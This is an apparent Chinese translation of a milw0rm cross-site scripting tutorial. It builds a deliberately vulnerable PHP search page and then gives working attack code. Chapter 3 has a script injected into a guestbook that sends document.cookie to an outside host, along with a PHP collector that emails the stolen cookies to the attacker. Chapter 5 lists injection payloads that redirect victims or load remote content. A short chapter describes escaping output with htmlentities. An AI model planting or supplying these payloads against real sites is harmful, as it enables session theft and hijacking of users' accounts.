|
页 1 总共 2 原文:milw0rm.com
作者:Xylitol
翻译:老臧
首发:http://lovelaozang.cn
摘要:
1>什么是XSS?
2>XSS脚本攻击
3>制造一个cookie攻击
4>保护XSS
5>笨方法
6>过滤绕过
7>Flash攻击
8>XSS 上传
9>XSS 钓鱼
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 1 - 什么是XSS? :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案。 这次袭击使内容(脚本) ,在无特权区被执行与权
限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:
* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。
* Web浏览器配置漏洞,不安全的站点在特定的区域被列出
* 特定的区域被跨站脚本攻击
用命令攻击要有如下两个步骤:
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
些恶意操作.
当这个攻击完成后,将有恶意软件(像蠕虫\远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 2 - XSS脚本攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
新建一个文本文档,把下面的代码放进:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action=”XSS.php” method=”post”>
<p align=”center”><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align=”center”>
<table width=”270″ border=”0″>
<tr>
<td width=”106″><strong>Search:</strong></td>
<td width=”154″><input name=”Vulnerability” type=”text” id=”Vulnerability” /></td>
</tr>
</table>
<table width=”268″ border=”0″>
<tr>
<td width=”262″><div align=”center”>
<input name=”submit” type=”submit” value=” Search it ! ” />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
然后,把这个页面保存为index.html
再新建一个文本文档,把下面的代码放进去:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Search result:</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<body>
<span class=”alerte”>Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>
把文件另存为XSS.php
关闭记事本
在firefox里面打开index.html
输入一个值然后点search
返回页面输入
<script>alert(’XSS’)</script>
发送表单
弹出一个对话框
_______________________________________
/ http://127.0.0.1 dit: X \
|________________________________________|
| |
| |
| ^ |
| / \ |
| / | \ XSS |
| / . \ |
| ——- |
| ______ |
| | OK | |
| —— |
|________________________________________|
XSS攻击这时产生了…
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 3 - 制造一个cookie攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
把这段代码插入到一个易受攻击的页面(如:留言板)
<script>
window.open(”http://www.lovelaozang.cn/cookie.php?cookies=”+document.cookie);
</script>
(www.Hax0r.com = 你的网站)
打开记事本,把下面的代码放进去,另存为cookie.php
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Error</title>
<style type=”text/css”>
<!–
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
–>
</style></head>
<? mail(’
该E-mail地址已受到防止垃圾邮件机器人的保护,您必须启用浏览器的Java Script才能看到。
’, ‘Cookie stealed ! - thx xyli :)’, $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>
这对于攻击者还不够,等着还不如接收电子邮件。
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 4 - 保护XSS :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
修补漏洞:
为修复XSS漏洞使用htmlentities
在第16行放置
<body>
<span class=”alerte”>Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
By:
<body>
<span class=”alerte”>Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
use htmlspecialchars() function in PHP 
other function:
htmlentities() quotes
strip_tags()
…
____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 5 - 笨方法 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\
要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:
利用image:
<IMG SRC=”http://lovelaozang.cn/xss.png”>
利用flash:
<EMBED SRC=”http://hax0r.com/Haxored.swf”>
重定向:
<script>window.open( “http://lovelaozang.cn/xss.html” )</script>
还有:
<meta http-equiv=”refresh” content=”0; url=http://lovelaozang.cn/xss.html” />
|